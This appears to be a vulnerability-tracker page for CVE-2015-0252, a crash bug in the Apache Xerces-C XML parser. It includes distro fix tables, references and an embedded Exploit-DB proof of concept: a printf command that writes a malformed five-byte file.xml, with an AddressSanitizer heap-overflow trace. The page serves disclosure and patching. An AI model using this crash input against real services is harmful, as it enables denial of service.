CVE-2015-0252
Description
internal/XMLReader.cpp in Apache Xerces-C before 3.1.2 allows remote attackers to cause a denial of service (segmentation fault and crash) via crafted XML data.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)
# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC
# Date: 2015-05-03
# Exploit Author: beford
# Vendor Homepage: http://xerces.apache.org/#xerces-c
# Version: Versions prior to 3.1.2
# Tested on: Ubuntu 15.04
# CVE : CVE-2015-0252
Apache Xerces-C XML Parser Crashes on Malformed Input
I believe this to be the same issue that was reported on CVE-2015-0252,
posting this in case anyone is interested in reproducing it.
Original advisory:
https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt
$ printf "\xff\xfe\x00\x00\x3c" > file.xml
$ DOMPrint ./file.xml # Ubuntu 15.04 libxerces-c3.1 package
Segmentation fault
$ ./DOMPrint ./file.xml # ASAN Enabled build
=================================================================
==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c
at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798
READ of size 1 at 0xb5d9d87c thread T0
#0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer()
xercesc/internal/XMLReader.cpp:1719
#1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*,
unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761
#2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer()
xercesc/internal/XMLReader.cpp:576
#3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short
const*) xercesc/internal/XMLReader.cpp:1223
#4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short
const*) xercesc/internal/ReaderMgr.hpp:385
#5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool)
xercesc/internal/XMLScanner.cpp:1608
#6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog()
xercesc/internal/XMLScanner.cpp:1244
#7 0x8d69220 in
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner.cpp:206
#8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short
const*) xercesc/internal/XMLScanner.cpp:400
#9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)
xercesc/internal/XMLScanner.cpp:408
#10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)
xercesc/parsers/AbstractDOMParser.cpp:601
#11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398
#12 0xb6f5272d in __libc_start_main
(/lib/i386-linux-gnu/libc.so.6+0x1872d)
#13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5)
0xb5d9d87c is located 0 bytes to the right of 163964-byte region
[0xb5d75800,0xb5d9d87c)
allocated by thread T0 here:
#0 0xb72c3ae4 in operator new(unsigned int)
(/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4)
#1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int)
xercesc/internal/MemoryManagerImpl.cpp:40
#2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int,
xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68
#3 0x8daaaa7 in
xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner2.cpp:1284
#4 0x8d6912a in
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner.cpp:198
#5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short
const*) xercesc/internal/XMLScanner.cpp:400
#6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)
xercesc/internal/XMLScanner.cpp:408
#7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)
xercesc/parsers/AbstractDOMParser.cpp:601
#8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398
#9 0xb6f5272d in __libc_start_main
(/lib/i386-linux-gnu/libc.so.6+0x1872d)
SUMMARY: AddressSanitizer: heap-buffer-overflow
xercesc/internal/XMLReader.cpp:1719
xercesc_3_1::XMLReader::refreshRawBuffer()
OS impact
Fedora Affected 3 releases
| Version | Status | Fixed in |
|---|---|---|
| 22 | Affected | โ |
| 21 | Affected | โ |
| 20 | Affected | โ |
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | โ |
Debian Mixed 6 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.1.1-5.1 |
| sid | Fixed | 3.1.1-5.1 |
| forky | Fixed | 3.1.1-5.1 |
| bullseye | Fixed | 3.1.1-5.1 |
| bookworm | Fixed | 3.1.1-5.1 |
| 7.1 | Affected | โ |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| apache | xerces-c\+\+ | {"endIncluding":"3.1.1"} | |
References
- https://www.suse.com/security/cve/CVE-2015-0252.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-March/152882.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-March/153094.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-March/153829.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-March/153887.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-March/153903.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-March/153923.html
- http://lists.opensuse.org/opensuse-updates/2016-04/msg00012.html
- http://packetstormsecurity.com/files/131756/Apache-Xerces-C-XML-Parser-Denial-Of-Service.html
- http://rhn.redhat.com/errata/RHSA-2015-1193.html
- http://www.debian.org/security/2015/dsa-3199
- http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
- http://www.securityfocus.com/bid/73252
- http://www.securitytracker.com/id/1032254
- http://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt
- https://shibboleth.net/community/advisories/secadv_20150319.txt
- https://www.exploit-db.com/exploits/36906/
- https://security-tracker.debian.org/tracker/CVE-2015-0252
CWEs
CWE-20
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.